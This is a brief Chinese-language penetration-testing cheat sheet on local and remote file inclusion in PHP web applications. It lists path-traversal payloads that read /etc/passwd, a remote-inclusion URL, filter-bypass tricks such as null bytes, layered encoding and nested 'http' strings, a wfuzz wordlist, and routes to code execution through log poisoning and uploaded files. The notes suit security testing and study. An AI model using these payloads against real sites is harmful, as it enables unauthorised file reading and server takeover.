文件包含
LFI:本地文件包含
RFI:远程文件包含(allow_url_include = on)
1.特征
?include=a.php
?page=a.php
?home=a.html
2.经典测试方法
1.?file=../../../../etc/passwd(?file=/etc/passwd)
2.?page=file:///etc/passwd(绝对路径)
3.?page=http://www.a.com/1.php(远程文件包含)
3.绕过方法
绕过扩展名限制
?file=1.php%00.html
编码特殊字符
url编码、双层url编码
Unicode/UTF-8编码
其他
file.txt...
file.txt<spaces>
file.txt””””
file.txt<<<>>><
./././file.txt
nonexistant/../file.txt
过滤关键词
htthttp://p://
4.其他形式
通过post或cookie等方式提交路径
5.常用字典
/usr/share/wfuzz/wordlist/vulns/dirTraversal.txt
本地文件包含的利用
通过请求将php代码提交给服务器,然后包含服务器的日志文件
如/var/log/apache2/access.log (多数情况下www用户没有权限访问)
上传文件(如txt文件),被文件包含后其中的php代码将被执行